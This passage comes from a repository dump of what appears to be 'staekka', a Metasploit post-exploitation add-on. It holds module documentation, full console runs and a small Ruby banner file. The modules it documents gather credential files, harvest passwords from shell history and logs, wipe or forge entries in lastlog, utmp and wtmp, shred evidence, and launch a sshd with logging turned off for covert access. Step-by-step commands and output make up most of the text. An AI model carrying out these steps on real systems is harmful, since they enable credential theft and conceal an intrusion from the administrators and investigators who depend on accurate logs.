/home/user/staekka/data/wordlists/interessting_files.txt 57 | SESSION 1 yes The session to run this module on. 58 | TIMEOUT 300 no Timeout should be higher on large directories 59 | USE_UPDATEDB true no Use an updatedb database and search for filenames instead of full path 60 | 61 | msf post(download_interessting) > set FILES /home/jot/Code/metasploit/staekka/data/wordlists/interessting_files.txt 62 | FILES => /home/user/staekka-test/data/wordlists/interessting_files.txt 63 | msf post(download_interessting) > run 64 | 65 | [*] downloaded /etc/passwd : default unix passwd 66 | [*] downloaded /etc/issue : test file 67 | [*] downloaded /etc/fstab : unix config 68 | [*] downloaded /chroot/debian/etc/fstab : unix config 69 | [*] downloaded /etc/pam.d/ : pam config 70 | [*] Post module execution completed 71 | ``` 72 | 73 | 74 | -------------------------------------------------------------------------------- /documentation/modules/post/unix/gather/enum_history.md: -------------------------------------------------------------------------------- 1 | Searchs, downloads and analyses history files. By default a pre-defined list of common history files is used. There is an option to use a short list or to use a custom list. 2 | 3 | Checks: 4 | * check if history file is a symlink (sometimes a link to /dev/null) 5 | * search for passwords based on common signatures 6 | * search for (password?) hashes 7 | * search for "hacking" signatures 8 | * search for interessting signatures (URLs/X11/...) 9 | * search for possible passwords by filtering out valid commands 10 | 11 | ## Module Options 12 | 13 | **FASTCHECK** 14 | 15 | Do only check most common history files (faster check) 16 | 17 | **FILES** 18 | 19 | Define a custom list of files to check. Can be defined as full path files or ~/ for a file to check in every home directory. 20 | 21 | **USE_UPDATEDB** 22 | 23 | Use or created (if not already created) updatedb 24 | 25 | 26 | **SESSION** 27 | 28 | Which session to use, which can be viewed with `sessions -l` 29 | 30 | ## Scenario 31 | 32 | 33 | -------------------------------------------------------------------------------- /documentation/modules/post/unix/gather/enum_logfiles.md: -------------------------------------------------------------------------------- 1 | Searches for common (or given) logfiles and searches based on common patterns for interessting entries like (possible) passwords or session-IDs. 2 | 3 | ## Module Options 4 | 5 | **FILES** 6 | 7 | Define a custom list of files to check. Can be defined as full path files or ~/ for a file to check in every home directory. 8 | 9 | **USE_UPDATEDB** 10 | 11 | Use or created (if not already created) updatedb for finding logfiles 12 | 13 | 14 | **SESSION** 15 | 16 | Which session to use, which can be viewed with `sessions -l` 17 | 18 | ## Scenario 19 | 20 | ``` 21 | msf post(enum_logfiles) > options 22 | Module options (post/unix/gather/enum_logfiles): 23 | 24 | Name Current Setting Required Description 25 | ---- --------------- -------- ----------- 26 | FILES /tmp/syslog.log no A special log file 27 | SESSION 1 yes The session to run this module on. 28 | USE_UPDATEDB true no Use an updatedb database and search for filenames instead of full path 29 | 30 | msf post(enum_logfiles) > run 31 | 32 | [+] /tmp/syslog.log is readable 33 | [*] Checking logfile '/tmp/syslog.log' 34 | [*] password? in file /tmp/syslog.log : 2000-00-01 01:01:54,569 INFO zen.zencommand: Deleting command 10.0.0.68 from $ZENHOME/libexec/poll_postgres.py '10.0.0.68' '5432' 'postgres' 'sec3t' 'False' server 35 | [*] Search: ZENHOME/libexec/poll_postgres.py\s.*?\s.*?\s.*?\s'(.*?)' 36 | [+] Found: secr3t 37 | [*] password? in file /tmp/syslog.log : 2000-00-01 00:08:20,240 INFO zen.zencommand: Deleting command 10.0.0.68 from $ZENHOME/libexec/poll_postgres.py '10.0.0.68' '5432' 'postgres' 'P0stGre$' 'False' server 38 | [*] Search: ZENHOME/libexec/poll_postgres.py\s.*?\s.*?\s.*?\s'(.*?)' 39 | [+] Found: P0stGre$ 40 | [*] password or invalid user (bruteforce attack) in file /tmp/syslog.log : Jan 02 08:33:53 zen sshd[20225]: Failed password for invalid user r00tPassw0rd from 10.0.0.42 port 2224 ssh2 41 | [*] Search: Failed\spassword\sfor\sinvalid\suser\s(.*?)\sfrom\s 42 | [+] Found: r00tPassw0rd 43 | [*] password or invalid user (bruteforce attack) in file /tmp/syslog.log : Jan 4 01:28:38 localhost sshd[11113]: Failed password for invalid user Start123 from 10.0.0.17 port 51474 ssh2 44 | [*] Search: Failed\spassword\sfor\sinvalid\suser\s(.*?)\sfrom\s 45 | [+] Found: Start123 46 | [*] Post module execution completed 47 | ``` 48 | -------------------------------------------------------------------------------- /documentation/modules/post/unix/general/download.md: -------------------------------------------------------------------------------- 1 | Downloading files faster via HTTP. This module starts a local web server and uploads files using wget or curl to the metasploit session system. 2 | This module can speed up file upload and avoid various issues with uploading big files using the "normal" upload. 3 | Attention: on text files sometimes there is no newline at end of file appended, so the uploaded file differs to original file. 4 | 5 | ## Module Options 6 | 7 | **LFILE** 8 | 9 | Where to store the uploaded file on the local system 10 | 11 | **RFILE** 12 | 13 | Remote file/path to download 14 | 15 | **SRVHOST** 16 | 17 | IP of the local web server. The module usus this IP to connect for downloading the file 18 | 19 | **SRVPORT** 20 | 21 | The port of the local web server. 22 | 23 | **SESSION** 24 | 25 | Which session to use, which can be viewed with `sessions -l` 26 | 27 | 28 | **URIPATH** 29 | 30 | The URI to use for this module (default is random) 31 | 32 | **SSL** 33 | 34 | Start using SSL (https) for encrypted connections. 35 | Attention: SSL cert is generated on the fly and NOT checked. Therefore it is possible to man in the middle here! 36 | 37 | ## Scenario 38 | ``` 39 | msf post(download) > set SRVHOST 127.0.0.1 40 | SRVHOST => 127.0.0.1 41 | msf post(download) > set SRVPORT 8443 42 | SRVPORT => 8443 43 | msf post(download) > set SESSION 1 44 | SESSION => 1 45 | msf post(download) > set LFILE /tmp/downloaded_file 46 | LFILE => /tmp/downloaded_file 47 | msf post(download) > set RFILE /bin/bash 48 | RFILE => /bin/bash 49 | msf post(download) > set SSL true 50 | SSL => true 51 | msf post(download) > run 52 | 53 | [*] Using URL: https://127.0.0.1:8443/24xEh22t1Ed 54 | [*] Using URL: https://127.0.0.1:8443/xCpzcitoLeOyZwY 55 | [*] Server stopped. 56 | [*] Post module execution completed 57 | msf post(download) > sessions -i 1 -c "md5sum /bin/bash /tmp/downloaded_file" 58 | [*] Running 'md5sum /bin/bash /tmp/downloaded_file' on shell session 1 (::1) 59 | md5sum /bin/bash /tmp/downloaded_file 60 | be774712af8a58858476aca86e50ea77 /bin/bash 61 | be774712af8a58858476aca86e50ea77 /tmp/downloaded_file 62 | 63 | ``` 64 | 65 | -------------------------------------------------------------------------------- /documentation/modules/post/unix/general/logs/clear_lastlog.md: -------------------------------------------------------------------------------- 1 | This module modifies lastlog logfiles. It allows to remove a log entry or to modify entries selected by a search string/regex. Also a custom timestamp can be insered for a selected user. 2 | 3 | ## Module Options 4 | 5 | **FILES** 6 | 7 | Define a special file to dump. If not defined the common path for Linux and Solaris is checked for a lastlog file 8 | 9 | **NEW_TIME** 10 | 11 | Set this time as new timestamp for selected user. Format is relativ flexible because it uses [Time.parse](http://ruby-doc.org/stdlib-2.2.3/libdoc/time/rdoc/Time.html#method-c-parse). 12 | 13 | **REPLACE** 14 | 15 | Replace string to be insered into log entry instead of the original string. This can be used for generating faked logs. 16 | 17 | **STRING** 18 | 19 | Search log entries for a special string (Regex) and remove them or replace with another string (if REPLACE is defined) 20 | 21 | **USER** 22 | 23 | Select a special user. (This might be the most common usecase here) 24 | 25 | **USE_UPDATEDB** 26 | 27 | Use or created (if not already created) updatedb for finding logfiles 28 | 29 | **SESSION** 30 | 31 | Which session to use, which can be viewed with `sessions -l` 32 | 33 | 34 | ## Scenario 35 | current entry for user: 36 | 37 | ``` 38 | user :0.0 2016-01-19 22:44:09 +0100 39 | ``` 40 | 41 | ### changing timestamp of an user: 42 | ``` 43 | msf post(clear_lastlog) > set FILES /tmp/lastlog 44 | FILES => /tmp/lastlog 45 | msf post(clear_lastlog) > set NEW_TIME Sat 29 Oct 23:25:21 CEST 2016 46 | NEW_TIME => Sat 29 Oct 23:25:21 CEST 2016 47 | msf post(clear_lastlog) > set USER 1000 48 | USER => 1000 49 | msf post(clear_lastlog) > run 50 | 51 | [*] Need modify uid=1000 user=user Line=|:0.0| Host=|| Time=1453239849 52 | [*] 1453239849 -> 2016-10-29 23:25:21 +0200 53 | [*] Post module execution completed 54 | ``` 55 | New entry: 56 | 57 | ``` 58 | usr :0.0 2016-10-29 23:25:21 +0200 59 | ``` 60 | 61 | ### Changing the "line" entry of an user 62 | ``` 63 | msf post(clear_lastlog) > unset NEW_TIME 64 | Unsetting NEW_TIME... 65 | msf post(clear_lastlog) > set StRING :0.0 66 | StRING => :0.0 67 | msf post(clear_lastlog) > set REPLACE localhost 68 | REPLACE => localhost 69 | msf post(clear_lastlog) > run 70 | 71 | [*] Regex /(?-mix::0.0)/ matches 72 | [*] Need modify uid=1000 user=user Line=|:0.0| Host=|| Time=1453239849 73 | [*] :0.0 -> localhost 74 | [*] Post module execution completed 75 | ``` 76 | New entry: 77 | 78 | ``` 79 | user localhost 2016-01-19 22:44:09 +0100 80 | ``` 81 | 82 | ### Delete an entry: 83 | ``` 84 | msf post(clear_lastlog) > set USER 1000 85 | USER => 1000 86 | msf post(clear_lastlog) > run 87 | [*] Need modify uid=1000 user=user Line=|:0.0| Host=|| Time=1453239849 88 | [*] Post module execution completed 89 | ``` 90 | New entry: 91 | 92 | ``` 93 | user **Never logged in** 94 | ``` 95 | -------------------------------------------------------------------------------- /documentation/modules/post/unix/general/logs/clear_utmp.md: -------------------------------------------------------------------------------- 1 | This module modifies utmp/wtmp logfiles. Entries can be removed based on a 2 | search string or based on a given timeframe. Alternatively entries can be 3 | changed for faked logs. 4 | 5 | ## Module Options 6 | 7 | 8 | **FILES** 9 | 10 | Define a special file to dump. If not defined a list of typical locations is 11 | used 12 | 13 | **LOCALEDIT** 14 | 15 | Convert logfile into text format and launch an editor for editing it. By 16 | default $EDITOR is used, 'vi' is fallback editor. 17 | On some editors/settings you need to allow longer lines. 18 | VI: ```set tw=0``` 19 | 20 | **REMOVETIME_START** 21 | 22 | Select all entries after this time. Format is relativ flexible because it uses [Time.parse](http://ruby-doc.org/stdlib-2.2.3/libdoc/time/rdoc/Time.html#method-c-parse). 23 | 24 | **REMOVETIME_STOP** 25 | 26 | Select all entries before this time. Format is relativ flexible because it uses [Time.parse](http://ruby-doc.org/stdlib-2.2.3/libdoc/time/rdoc/Time.html#method-c-parse). 27 | 28 | 29 | **REPLACE** 30 | 31 | Replace string to be insered into log entry instead of the original string. This can be used for generating faked logs. 32 | 33 | **STRING** 34 | 35 | Search log entries for a special string (Regex) and remove them or replace with another string (if REPLACE is defined) 36 | 37 | 38 | **USE_UPDATEDB** 39 | 40 | Use or created (if not already created) updatedb for finding logfiles 41 | 42 | **SESSION** 43 | 44 | Which session to use, which can be viewed with `sessions -l` 45 | 46 | 47 | ## Scenario 48 | 49 | ### Original entry: 50 | 51 | ``` 52 | ut_type [user process ] 53 | ut_pid [7751 ] 54 | ut_line [pts/0 ] 55 | ut_id [808416116 ] 56 | ut_user [locxxxxx ] 57 | ut_host [dslb-xxx-xxx-xxx-xxx.pools.xxxxxxxx.net ] 58 | ut_exit [0 ] 59 | ut_tv_sec [2000-01-26 19:20:32 +0100 ] 60 | ut_tv_usec [0 ] 61 | ut_session [433397 ] 62 | ut_addr_v6 [IPv4 127.127.127.127 ] 63 | unused [ ] 64 | 65 | ``` 66 | ### Changing the IP address: 67 | 68 | ``` 69 | msf post(clear_utmp) > set FILES /tmp/utmp 70 | FILES => /tmp/utmp 71 | msf post(clear_utmp) > set SESSION 1 72 | SESSION => 1 73 | msf post(clear_utmp) > set STRING 188.99.140.231 74 | STRING => 188.99.140.231 75 | msf post(clear_utmp) > set REPlACE 127.0.0.1 76 | REPlACE => 127.0.0.1 77 | msf post(clear_utmp) > run 78 | [*] Post module execution completed 79 | 80 | ``` 81 | 82 | New entry: 83 | 84 | ``` 85 | ut_type [user process ] 86 | ut_pid [7751 ] 87 | ut_line [pts/0 ] 88 | ut_id [808416116 ] 89 | ut_user [locxxxxx ] 90 | ut_host [dslb-xxx-xxx-xxx-xxx.pools.xxxxxxxx.net ] 91 | ut_exit [0 ] 92 | ut_tv_sec [2000-01-26 19:20:32 +0100 ] 93 | ut_tv_usec [0 ] 94 | ut_session [433397 ] 95 | ut_addr_v6 [IPv4 127.0.0.1 ] 96 | unused [ ] 97 | 98 | ``` 99 | 100 | 101 | ### Removing an entry 102 | 103 | ``` 104 | msf post(clear_utmp) > unset REPLACE 105 | Unsetting REPLACE... 106 | msf post(clear_utmp) > info 107 | 108 | Name: Utmp Logfiles Cleaner 109 | Module: post/unix/general/logs/clear_utmp 110 | Platform: 111 | Arch: 112 | Rank: Normal 113 | 114 | Provided by: 115 | jot 116 | 117 | Basic options: 118 | Name Current Setting Required Description 119 | ---- --------------- -------- ----------- 120 | FILES /tmp/utmp no A special log file 121 | LOCALEDIT false no Edit text dump in local editor 122 | REMOVETIME_START no Delete all entries between REMOVETIME_START andREMOVETIME_STOP 123 | REMOVETIME_STOP no Delete all entries between REMOVETIME_START andREMOVETIME_STOP 124 | REPLACE no A string for replacing the original string (if empty logentries will be removed) 125 | SESSION 1 yes The session to run this module on. 126 | STRING 127.127.127.127 yes A string to be removed from the log files 127 | USE_UPDATEDB true no Use an updatedb database and search for filenames instead of full path 128 | 129 | Description: 130 | Clear utmp log files 131 | 132 | msf post(clear_utmp) > run 133 | [*] Post module execution completed 134 | msf post(clear_utmp) > 135 | ``` 136 | New entry: 137 | 138 | *removed* 139 | 140 | ### Remove all entries within a timeframe 141 | 142 | ``` 143 | msf post(clear_utmp) > unset STRING 144 | Unsetting STRING... 145 | msf post(clear_utmp) > set REMOVETIME_START 2000-01-26 19:00:00 146 | REMOVETIME_START => 2000-01-26 19:00:00 147 | msf post(clear_utmp) > set REMOVETIME_STOP 2000-01-26 21:00:00 148 | REMOVETIME_STOP => 2000-01-26 21:00:00 149 | msf post(clear_utmp) > run 150 | [*] Post module execution completed 151 | 152 | ``` 153 | New entry: 154 | 155 | *removed* 156 | 157 | ### Manual edit a logfile 158 | This converts all logentries into text format and lauches a text editor for 159 | editing this 160 | 161 | ``` 162 | msf post(clear_utmp) > set VERBOSE true 163 | VERBOSE => true 164 | msf post(clear_utmp) > set LOCALEDIT true 165 | LOCALEDIT => true 166 | msf post(clear_utmp) > run 167 | 168 | [*] base64 command already known: cat __READ_FILE__ 2>/dev/null|base64 169 | [*] Max line length is 4096 170 | [*] Maximal line length: 4096 171 | [*] already found a command for echo: echo 'CONTENTS'|xxd -p -r 172 | [*] Writing 3328 bytes in 4 chunks of 2010 bytes (bare_hex-encoded), using xxd 173 | [*] Next chunk is 2010 bytes 174 | [*] Next chunk is 2010 bytes 175 | [*] Next chunk is 626 bytes 176 | [*] Maximal line length: 4096 177 | [*] already found a command for echo: echo 'CONTENTS'|xxd -p -r 178 | [*] Writing 3072 bytes in 4 chunks of 2010 bytes (bare_hex-encoded), using xxd 179 | [*] Next chunk is 2010 bytes 180 | [*] Next chunk is 2010 bytes 181 | [*] Next chunk is 114 bytes 182 | [*] Post module execution completed 183 | ``` 184 | 185 | New entry: 186 | 187 | ``` 188 | ut_type [user process ] 189 | ut_pid [7751 ] 190 | ut_line [pts/0 ] 191 | ut_id [808416116 ] 192 | ut_user [faked_user_here ] 193 | ut_host [dslb-xxx-xxx-xxx-xxx.pools.xxxxxxxx.net ] 194 | ut_exit [0 ] 195 | ut_tv_sec [2000-01-26 19:20:32 +0100 ] 196 | ut_tv_usec [0 ] 197 | ut_session [433397 ] 198 | ut_addr_v6 [none ] 199 | unused [ ] 200 | 201 | ``` 202 | 203 | ## Known bugs 204 | Sometimes a file check fails (test -e; test -r and test -w). In this case this 205 | module simply needs to be executed again. 206 | 207 | Example: 208 | 209 | ``` 210 | msf post(clear_utmp) > run 211 | 212 | [-] read permissions: true 213 | [-] write permissions: true 214 | [-] Need read and write permissions for /tmp/utmp for changing it! Cannot go on 215 | [-] This could also be a known bug of this check. In this case you simply need to re-run this module 216 | 217 | ``` 218 | -------------------------------------------------------------------------------- /documentation/modules/post/unix/general/logs/dump_lastlog.md: -------------------------------------------------------------------------------- 1 | This module dumps lastlog logfiles. Because these logfiles are binary files it tries to guess the right structure and parses it. 2 | 3 | ## Module Options 4 | 5 | **FILES** 6 | 7 | Define a special file to dump. If not defined the common path for Linux and Solaris is checked for a lastlog file 8 | 9 | **USE_UPDATEDB** 10 | 11 | Use or created (if not already created) updatedb for finding logfiles 12 | 13 | **SESSION** 14 | 15 | Which session to use, which can be viewed with `sessions -l` 16 | 17 | 18 | ## Scenario 19 | ``` 20 | msf auxiliary(interactive) > use post/unix/general/logs/dump_lastlog 21 | msf post(dump_lastlog) > set SESSION 1 22 | SESSION => 1 23 | msf post(dump_lastlog) > set FILES /tmp/logfile_lastlog 24 | FILES => /tmp/logfile_lastlog 25 | msf post(dump_lastlog) > run 26 | 27 | [*] root pts/1 localhost:20.0 2000-01-01 22:47:10 +0100 28 | bin **Never logged in** 29 | daemon **Never logged in** 30 | adm **Never logged in** 31 | lp **Never logged in** 32 | ... 33 | 34 | ``` 35 | -------------------------------------------------------------------------------- /documentation/modules/post/unix/general/logs/dump_utmp.md: -------------------------------------------------------------------------------- 1 | This module dumps UTMP/WTMP logfiles. Because these logfiles are binary files it tries to guess the right structure and parses it. 2 | 3 | ## Module Options 4 | 5 | **FILES** 6 | 7 | Define a special file to dump. If not defined typical log file locations are checked 8 | 9 | **USE_UPDATEDB** 10 | 11 | Use or created (if not already created) updatedb for finding logfiles 12 | 13 | **SESSION** 14 | 15 | Which session to use, which can be viewed with `sessions -l` 16 | 17 | 18 | ## Scenario 19 | ``` 20 | msf post(dump_utmp) > set SESSION 1 21 | SESSION => 1 22 | msf post(dump_utmp) > set FILES /tmp/logfile_utmp_1 23 | FILES => /tmp/logfile_utmp_1 24 | msf post(dump_utmp) > run 25 | 26 | [*] ========================================== 27 | ut_type [user process ] 28 | ut_pid [14039 ] 29 | ut_line [pts/0 ] 30 | ut_id [808416116 ] 31 | ut_user [litxxxxx ] 32 | ut_host [128-000-00-00.ip.xxxxxxxxxxx.com ] 33 | ut_exit [0 ] 34 | ut_tv_sec [2000-01-01 16:56:41 +0100 ] 35 | ut_tv_usec [0 ] 36 | ut_session [990921 ] 37 | ut_addr_v6 [IPv4 127.127.127.0 ] 38 | unused [ ] 39 | 40 | ========================================== 41 | ut_type [dead process ] 42 | ut_pid [14039 ] 43 | ut_line [pts/0 ] 44 | ut_id [0 ] 45 | ut_user [ ] 46 | ut_host [ ] 47 | ut_exit [0 ] 48 | ut_tv_sec [2000-01-01 17:00:14 +0100 ] 49 | ut_tv_usec [0 ] 50 | ut_session [51583 ] 51 | ut_addr_v6 [none ] 52 | unused [ ] 53 | 54 | ========================================== 55 | ut_type [user process ] 56 | ut_pid [7751 ] 57 | ut_line [pts/0 ] 58 | ut_id [808416116 ] 59 | ut_user [loxxxxxx ] 60 | ut_host [dsxx-127-127-127-127.pools.xxxxxxip.net ] 61 | ut_exit [0 ] 62 | ut_tv_sec [2000-01-10 19:20:32 +0100 ] 63 | ut_tv_usec [0 ] 64 | ut_session [433397 ] 65 | ut_addr_v6 [IPv4 127.00.127.127 ] 66 | unused [ ] 67 | 68 | ``` 69 | -------------------------------------------------------------------------------- /documentation/modules/post/unix/general/securedelete.md: -------------------------------------------------------------------------------- 1 | Overwriting and deleting files. 2 | 3 | The following tools can be used: 4 | * shred (usually installed) 5 | * dd (usually installed) 6 | * wipe 7 | * srm 8 | * bcwipe 9 | 10 | ## Module Options 11 | 12 | **RFILE** 13 | 14 | The path to the file(s) you want to wipe 15 | 16 | **SESSION** 17 | 18 | Which session to use, which can be viewed with `sessions -l` 19 | 20 | ## Scenario 21 | ``` 22 | msf post(secure_delete) > set SESSION 1 23 | SESSION => 1 24 | msf post(secure_delete) > set VERBOSE true 25 | VERBOSE => true 26 | msf post(secure_delete) > set RFILE /tmp/secretfile 27 | RFILE => /tmp/secretfile 28 | msf post(secure_delete) > run 29 | 30 | [*] Wipe command: chattr -R +sS -u /tmp/secretfile; find /tmp/secretfile -type f -exec shred -f -u -z -n 3 -v {} \; ; rm -rf /tmp/secretfile; sync 31 | chattr: Operation not supported while setting flags on /tmp/secretfile 32 | shred: /tmp/secretfile: pass 1/4 (random)... 33 | shred: /tmp/secretfile: pass 2/4 (random)... 34 | shred: /tmp/secretfile: pass 3/4 (random)... 35 | shred: /tmp/secretfile: pass 4/4 (000000)... 36 | shred: /tmp/secretfile: removing 37 | shred: /tmp/secretfile: renamed to /tmp/0000000000 38 | shred: /tmp/0000000000: renamed to /tmp/000000000 39 | shred: /tmp/000000000: renamed to /tmp/00000000 40 | shred: /tmp/00000000: renamed to /tmp/0000000 41 | shred: /tmp/0000000: renamed to /tmp/000000 42 | shred: /tmp/000000: renamed to /tmp/00000 43 | shred: /tmp/00000: renamed to /tmp/0000 44 | shred: /tmp/0000: renamed to /tmp/000 45 | shred: /tmp/000: renamed to /tmp/00 46 | shred: /tmp/00: renamed to /tmp/0 47 | shred: /tmp/secretfile: removed 48 | [*] /tmp/secretfile is deleted 49 | [*] Post module execution completed 50 | msf post(secure_delete) > 51 | ``` 52 | -------------------------------------------------------------------------------- /documentation/modules/post/unix/general/shell2ssh.md: -------------------------------------------------------------------------------- 1 | This module starts a ssh server with a custom configuration whithout logging and custom path for ssh authorized_keys. This is used for logging in into this ssh server for creating another ssh session (including tty support, etc). 2 | 3 | ## Module Options 4 | 5 | **LHOST** 6 | 7 | IP of ssh server to connect to. If not defined IP is taken from metasploit session 8 | 9 | **SSHD_PATH** 10 | 11 | Full path of the sshd binary. If not definded a (short) list of typical installations is checked which usually finds the binary. 12 | 13 | **SSHD_PORT** 14 | 15 | Port number the SSH Server should listen. Default is 2222 16 | 17 | **USERNAME** 18 | 19 | The username for logging into the ssh server. If not definded `whoami` is executed and used as username. 20 | 21 | **WRITEDIR** 22 | 23 | Path of a directory the current user has write permissions (by default /tmp will be used). On Linux often /dev/shm can be used for avoiding saving files to disk. 24 | 25 | **SESSION** 26 | 27 | Which session to use, which can be viewed with `sessions -l` 28 | 29 | ## Scenario 30 | ``` 31 | msf post(shell2ssh) > set SESSION 1 32 | SESSION => 1 33 | msf post(shell2ssh) > set VERBOSE true 34 | VERBOSE => true 35 | msf post(shell2ssh) > set LHOST 127.0.0.1 36 | LHOST => 127.0.0.1 37 | msf post(shell2ssh) > run 38 | 39 | [*] Getting current username 40 | [*] Getting writeable directory 41 | [*] Getting path of sshd 42 | [*] Generating SSH key 43 | [+] SSH Key is stored in /home/user/.msf4/loot/20000001000607_default_1_ssh_key_843400.txt 44 | [*] Generating SSHD config 45 | [*] Uploading SSHD config 46 | [*] Max line length is 4096 47 | [*] Maximal line length: 4096 48 | [*] Testing a command for echo: echo '00fffe414243447f25250a4546'|xxd -p -r 49 | [*] Found a command for echo: echo '00fffe414243447f25250a4546'|xxd -p -r 50 | [*] Writing 551 bytes in 1 chunks of 1102 bytes (bare_hex-encoded), using xxd 51 | [*] Maximal line length: 4096 52 | [*] already found a command for echo: echo 'CONTENTS'|xxd -p -r 53 | [*] Writing 1675 bytes in 2 chunks of 2006 bytes (bare_hex-encoded), using xxd 54 | [*] Next chunk is 1344 bytes 55 | [*] Maximal line length: 4096 56 | [*] already found a command for echo: echo 'CONTENTS'|xxd -p -r 57 | [*] Writing 1228 bytes in 2 chunks of 2006 bytes (bare_hex-encoded), using xxd 58 | [*] Next chunk is 450 bytes 59 | [*] Maximal line length: 4096 60 | [*] already found a command for echo: echo 'CONTENTS'|xxd -p -r 61 | [*] Writing 380 bytes in 1 chunks of 760 bytes (bare_hex-encoded), using xxd 62 | [*] Starting SSHD ("/usr/sbin/sshd -q -f /dev/shm/cOtBBzVY") 63 | 64 | [+] SSHd started 65 | [+] SSHd running 66 | [+] To login manually you run: 67 | ssh -i /home/user/.msf4/loot/20000001000607_default_1_ssh_key_843400.txt -p 2222 user@127.0.0.1 -o UserKnownHostsFile=/home/user/.msf4/loot/20000001000607_default_1_sshd_pub_462916.txt 68 | __LOG default 69 | [*] Logfile: /tmp/staekka_log_ssh_user@127.0.0.1:2222_587 70 | [*] SSH Session session 2 opened (127.0.0.1 -> 127.0.0.1) at 2000-01-01 10:01:14 +0200 71 | [*] Post module execution completed 72 | msf post(shell2ssh) > sessions 73 | 74 | Active sessions 75 | =============== 76 | 77 | Id Type Information Connection 78 | -- ---- ----------- ---------- 79 | 1 shell unix PTY: local -> PTY: /bin/bash (::1) 80 | 2 shell unix SSH: 127.0.0.1 -> 127.0.0.1 () 81 | 82 | ``` 83 | -------------------------------------------------------------------------------- /documentation/modules/post/unix/general/updatedb.md: -------------------------------------------------------------------------------- 1 | Search files based on defined strings and/or permissions. For performance reasons updatedb and caching featured can be used. 2 | 3 | ## Module Options 4 | 5 | **FIND** 6 | 7 | A string to search for files. Can be a regex. 8 | 9 | **LS** 10 | 11 | Returns (a cached) output of ls -l FILE 12 | 13 | **PERMS** 14 | 15 | Define special permissions to search for. Example: -rws--x--x 16 | 17 | **CACHE** 18 | 19 | Cache search results so that thez can be reused by other search requests (speeds up other modules). This option should be a string as caching key to be used for storing (and reading) cached results. 20 | 21 | **READ_CACHE** 22 | 23 | Read results from cache (stored in a previous search request or stored by another module). 24 | 25 | **SESSION** 26 | 27 | Which session to use, which can be viewed with `sessions -l` 28 | 29 | **SUID** 30 | 31 | Find all SUID files 32 | 33 | **TESTMODE** 34 | 35 | For testing: use a pre-definded updatedb file (for not running updatedb - which takes a while) 36 | 37 | **UPDATEDB_FILE** 38 | 39 | Use a custom updatedb file 40 | 41 | **WORLD_WRITEABLE** 42 | 43 | Find all world writeable files 44 | 45 | 46 | ## Scenario 47 | ``` 48 | msf post(updatedb) > set FIND sshd 49 | FIND => sshd 50 | msf post(updatedb) > set SUID true 51 | SUID => true 52 | msf post(updatedb) > options 53 | 54 | Module options (post/unix/general/updatedb): 55 | 56 | Name Current Setting Required Description 57 | ---- --------------- -------- ----------- 58 | CACHE no a token to cache the results of the search 59 | FIND sshd no A string to search for files (regex is ok) 60 | LS no cached "ls -l" of a file 61 | PERMS no Find all files with special permissions 62 | READ_CACHE no a token to read cached results 63 | SESSION 1 yes The session to run this module on. 64 | SUID true no Find all SUID files 65 | TESTMODE true no Load a pre-defined test database (for testing) 66 | UPDATEDB_FILE no Path to a local pre-created updatedb file (created with "find") 67 | WORLD_WRITEABLE no Find all world writeable files 68 | 69 | 70 | [*] Found files for sshd: 71 | [*] /etc/init.d/sshd 72 | [*] /etc/conf.d/sshd 73 | [*] /etc/pam.d/sshd 74 | [*] /etc/ssh/sshd_config 75 | [*] /usr/sbin/sshd 76 | [*] /usr/lib64/systemd/system/sshd.socket 77 | [*] /usr/lib64/systemd/system/sshd.service 78 | [*] /usr/lib64/systemd/system/sshd@.service 79 | [*] /usr/share/man/cat5/sshd_config.5.bz2 80 | [*] /usr/share/man/cat8/sshd.8.bz2 81 | [*] /usr/share/doc/openssh-5.9_p1-r4/sshd_config.bz2 82 | [*] Suid files: 83 | [*] /sbin/unix_chkpwd 84 | [*] /bin/passwd 85 | [*] /bin/mount 86 | [*] /bin/ping 87 | [*] /bin/ping6 88 | [*] /bin/umount 89 | [*] /bin/su 90 | [*] /usr/sbin/traceroute6 91 | [*] /usr/bin/expiry 92 | [*] /usr/bin/chfn 93 | [*] /usr/bin/gpasswd 94 | [*] /usr/bin/newgrp 95 | [*] /usr/bin/chage 96 | [*] /usr/bin/chsh 97 | [*] /usr/lib64/misc/ssh-keysign 98 | [*] /usr/lib64/misc/glibc/pt_chown 99 | [*] /usr/lib32/misc/glibc/pt_chown 100 | ``` 101 | 102 | -------------------------------------------------------------------------------- /documentation/modules/post/unix/general/upload.md: -------------------------------------------------------------------------------- 1 | Uploading files faster via HTTP. This module starts a local web server and downloads files using wget or curl from the metasploit session. 2 | This module can speed up file upload and avoid various issues with uploading big files using the "normal" upload. 3 | 4 | ## Module Options 5 | 6 | **LFILE** 7 | 8 | The local file you want to upload 9 | 10 | **RFILE** 11 | 12 | Remote file/path to save the file 13 | 14 | **SRVHOST** 15 | 16 | IP of the local web server. The module usus this IP to connect for downloading the file 17 | 18 | **SRVPORT** 19 | 20 | The port of the local web server. 21 | 22 | **SESSION** 23 | 24 | Which session to use, which can be viewed with `sessions -l` 25 | 26 | 27 | **URIPATH** 28 | 29 | The URI to use for this module (default is random) 30 | 31 | **SSL** 32 | 33 | Start using SSL (https) for encrypted connections. 34 | Attention: SSL cert is generated on the fly and NOT checked. Therefore it is possible to man in the middle here! 35 | 36 | ## Scenario 37 | ``` 38 | msf post(upload) > set LFILE /etc/passwd 39 | LFILE => /etc/passwd 40 | msf post(upload) > set RFILE /tmp/uploaded_passwd 41 | RFILE => /tmp/uploaded_passwd 42 | msf post(upload) > set SESSION 1 43 | SESSION => 1 44 | msf post(upload) > set SRVHOST 192.168.1.3 45 | SRVHOST => 192.168.1.3 46 | msf post(upload) > set SRVPORT 8443 47 | SRVPORT => 8443 48 | msf post(upload) > run 49 | 50 | [*] Using URL: http://192.168.1.3:8443/Uum6QeJ 51 | [*] Using URL: http://192.168.1.3:8443/S4Lm3qt00oQzgWB 52 | [*] Server stopped. 53 | [*] Post module execution completed 54 | msf post(upload) > 55 | ``` 56 | 57 | -------------------------------------------------------------------------------- /external/source/paxtest/paxtest-0.9.11.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/j-0-t/staekka/57787caa58b835c5cfc40c0fc0fb94ad28a98463/external/source/paxtest/paxtest-0.9.11.tar.gz -------------------------------------------------------------------------------- /lib/banner.rb: -------------------------------------------------------------------------------- 1 | # Advanced Post Exploitation 2 | 3 | module Msf 4 | module Staekka 5 | # A simple startup banner 6 | module Banner 7 | #logo = 8 | # ' 9 | # Staekka Metasploit Shell 10 | # '.freeze 11 | Logo = File.read(File.dirname(__FILE__) + '/logos/staekka.txt').freeze 12 | 13 | def self.to_s 14 | Logo 15 | end 16 | end 17 | end 18 | end 19 | -------------------------------------------------------------------------------- 